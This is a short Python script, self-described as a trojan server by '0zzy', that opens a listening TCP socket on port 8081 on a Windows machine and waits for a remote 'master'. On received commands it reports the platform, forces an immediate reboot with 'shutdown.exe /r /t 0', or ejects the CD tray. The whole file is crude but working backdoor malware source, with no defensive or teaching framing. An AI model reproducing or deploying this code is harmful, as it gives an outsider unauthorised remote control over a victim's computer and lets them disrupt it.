#!/usr/bin/env python
#-*-coding:utf-8-*-
#trojan serv by 0zzy
import os
import sys
import socket
import ctypes

os.system("cls")
#gets the ip of the computer
name_server=socket.gethostbyaddr('localhost')
add_server=socket.gethostbyname(name_server[0])
SERVER_IP=str(add_server)
SERVER_PORT=8081
#creating a nest
try:
    SERVER=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    SERVER.bind((str(SERVER_IP), int(SERVER_PORT)))
    SERVER.listen(5)
    #waiting for the client
    print("[*] WATTING MASTER...")
    CLIENT,ADDR=SERVER.accept()
    CLIENT.send("I AM HERE SERVE YOU...".encode())
    #executing commands
    while True:
        response=CLIENT.recv(1024)
        print("[+] DATA MASTER...",response)
        if response==b'version':
            ver=sys.platform
            CLIENT.send(bytes(str(ver),"utf-8"))
        elif response==b'reboot':
            CLIENT.send(bytes("RESTART DONE","utf-8"))
            os.system("shutdown.exe /r /t 0")
        elif response==b'ocd':
            ctypes.windll.winmm.mciSendStringW("set cdaudio door open",None, 0, None)
            CLIENT.send(bytes("CD OPEN","utf-8"))
        elif response==b'close':
           continue
        else:
            CLIENT.send(bytes("I AM HERE SERVE YOU...","utf-8"))
except:
    pass
finally:
    #close all
    CLIENT.close()
    SERVER.close()
